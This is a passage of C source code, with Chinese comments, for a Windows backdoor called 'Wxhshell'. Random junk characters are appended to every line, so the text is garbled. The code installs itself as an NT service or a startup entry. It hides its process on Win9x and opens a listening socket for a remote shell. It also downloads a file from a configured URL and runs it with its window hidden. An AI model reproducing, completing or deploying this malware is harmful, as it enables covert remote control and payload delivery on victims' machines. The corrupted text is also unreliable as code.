ULONG UniqueProcessId; T3X'73M
ULONG InheritedFromUniqueProcessId; +(W1x
C0
} PROCESS_BASIC_INFORMATION; FJ:^pROpm
w&q[%(G_
PROCNTQSIP NtQueryInformationProcess; !sb r!Qt
UFG_ZoD+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uu9M}]mDl
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; # ]7Lieh[5
*\sPHz.
HANDLE hProcess; ;2p+i/sVj
PROCESS_BASIC_INFORMATION pbi; tAdE<).!
_)M,p@!?=h
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n0xGIq
if(NULL == hInst ) return 0; Oynb"T&8
`*C=R
_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +$h
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [_,as
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~HZdIPcC
aD^$v
if (!NtQueryInformationProcess) return 0; nHseA
i[v4[C=WB!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hF%M!otcJ-
if(!hProcess) return 0; qt@L&v}~j
JvpGxj
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]~({;;3o-
jJy:/!i
CloseHandle(hProcess); i%hCV o
WsI`!ez;D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !@xO]Jwv
if(hProcess==NULL) return 0; l8\UO<^fY
\|]mClj#
HMODULE hMod; C=:<[_m`
char procName[255]; VdLoi\-/L
unsigned long cbNeeded; H@Dpht>[
"Ms;sdjg}&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U2q6^z4l
RkF#NCnL;
CloseHandle(hProcess); >STtX6h
jD:
N)((
if(strstr(procName,"services")) return 1; // 以服务启动 %;PpwI
%#HU~X:
return 0; // 注册表启动 0MG>77
} 5E]t4"
b;k+N`
// 主模块 a`xq
h2P
int StartWxhshell(LPSTR lpCmdLine) !+l'<*8V
{ =Zd(<&B K
SOCKET wsl;
is'V%q
BOOL val=TRUE; qt/K$'
int port=0; "-J5!y*,Y
struct sockaddr_in door; 4&/CES
JU 9GJ"
if(wscfg.ws_autoins) Install(); 22gh!F%)
j[>cv;h
;
port=atoi(lpCmdLine); * {g3ia
3H,E8>Vd
if(port<=0) port=wscfg.ws_port; jvzioFCt
#36QO
WSADATA data;
g^ AQBF
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N[%u>!
T$4{fhV
\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zWHq4@K
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (]|h6aI'}
door.sin_family = AF_INET; x9_mlZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); bc)>h!'Y
door.sin_port = htons(port); 2hh8G5IaQ
h9vcN#22D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @:lM|2:
closesocket(wsl); nM,:f)z
return 1; O'y8q[2KE
} i+_LKHQN
SQKhht`M
if(listen(wsl,2) == INVALID_SOCKET) { dmFn0J-\
closesocket(wsl); NYm"I`5w
return 1; k6G
_c;V
} T]#V
Wxhshell(wsl); <`H0i*|Ued
WSACleanup(); !X>u.}?g
e+
xQ\LH
return 0; Sj9fq*
jr6_|(0
i6
} )vp0X\3q`
v+c>iI
// 以NT服务方式启动 d2k-MZuT6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K/Q"Z*
{ _(W@FS
DWORD status = 0; dG\wW@}J
DWORD specificError = 0xfffffff; YeH!v, >
1W^hPY
serviceStatus.dwServiceType = SERVICE_WIN32; |)-kUu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; vOQ%f?%G\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U1RU2M]v
serviceStatus.dwWin32ExitCode = 0; Q$jEmmm%V[
serviceStatus.dwServiceSpecificExitCode = 0; Dk1& <} I
serviceStatus.dwCheckPoint = 0; 5!-TLwl`j\
serviceStatus.dwWaitHint = 0; g:
i5%1
9}573M
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zWsr|= [
if (hServiceStatusHandle==0) return; i\R0+O{
OM*_%UF
status = GetLastError(); ua\t5M5
if (status!=NO_ERROR) kaG/8G(
{ BZR{}Aj4pa
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0[;2dc
serviceStatus.dwCheckPoint = 0; X>q`F;W
serviceStatus.dwWaitHint = 0; lu8G$EQI
serviceStatus.dwWin32ExitCode = status; rfXxg^
serviceStatus.dwServiceSpecificExitCode = specificError; ys_2?uv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nw;qJ58@
return; 0|3I^b
} &|yLTx
IwYeKN6s
serviceStatus.dwCurrentState = SERVICE_RUNNING; rK3kg2H
serviceStatus.dwCheckPoint = 0; 3jmo[<p*x
serviceStatus.dwWaitHint = 0; .@1+}0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
-m@o\9Ic
} h`[$
Bp
,75)
// 处理NT服务事件,比如:启动、停止 *~rj!N?;
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q
eeV<
{ "wUIsuG/p
switch(fdwControl) pYr"3BwG
{ m[DQ;`Y
case SERVICE_CONTROL_STOP: rhv~H"qzW
serviceStatus.dwWin32ExitCode = 0; o)`PSw=
serviceStatus.dwCurrentState = SERVICE_STOPPED; #Z&/w.D2
serviceStatus.dwCheckPoint = 0; 1? >P3C
serviceStatus.dwWaitHint = 0; SzULy
>e
{ ou,[0B3n0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); oXPA<ef o
} l|5 h
return; m</m9h8
case SERVICE_CONTROL_PAUSE: b@CB +8$
serviceStatus.dwCurrentState = SERVICE_PAUSED; n1[c\1
break; t],a1I.gk
case SERVICE_CONTROL_CONTINUE: <_?zln:4.
serviceStatus.dwCurrentState = SERVICE_RUNNING; i'tMpS3
break; !MbzFs~
case SERVICE_CONTROL_INTERROGATE: [%W'd9`>
break; 86&M Zdv6
}; KK|w30\f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); STKL
} 2TK \pfD
%?~'A59
// 标准应用程序主函数 &@=Jm
/5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }=R]<`Sj.j
{ \#sD`O
05UN
<l]
// 获取操作系统版本 F^!D[:;jK
OsIsNt=GetOsVer(); 3m1g"
GetModuleFileName(NULL,ExeFile,MAX_PATH); JWVV?~1
JK,MK|
// 从命令行安装 #w$Y1bjn
if(strpbrk(lpCmdLine,"iI")) Install(); {Jr1K,
&L|oqXE0L
// 下载执行文件 q'3{M]Tk
if(wscfg.ws_downexe) { mz?<t/$U
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) So%X(,
|
WinExec(wscfg.ws_filenam,SW_HIDE); fN vQ.;
} >XN[KPTa
7iB!Uuc
if(!OsIsNt) { C6+ 5G-Z
// 如果时win9x,隐藏进程并且设置为注册表启动 O\}C`CiC
HideProc(); YAi-eL67l
StartWxhshell(lpCmdLine); {v={q1
} _H] \
else @T1G#[C~t
if(StartFromService())
"Ih3
// 以服务方式启动 HU0.)tD
StartServiceCtrlDispatcher(DispatchTable); #G9
W65 f
else 5epI'D
// 普通方式启动 a@}.96lStD
StartWxhshell(lpCmdLine); iTxWXij
_"DC)
return 0; IsXNAYj
}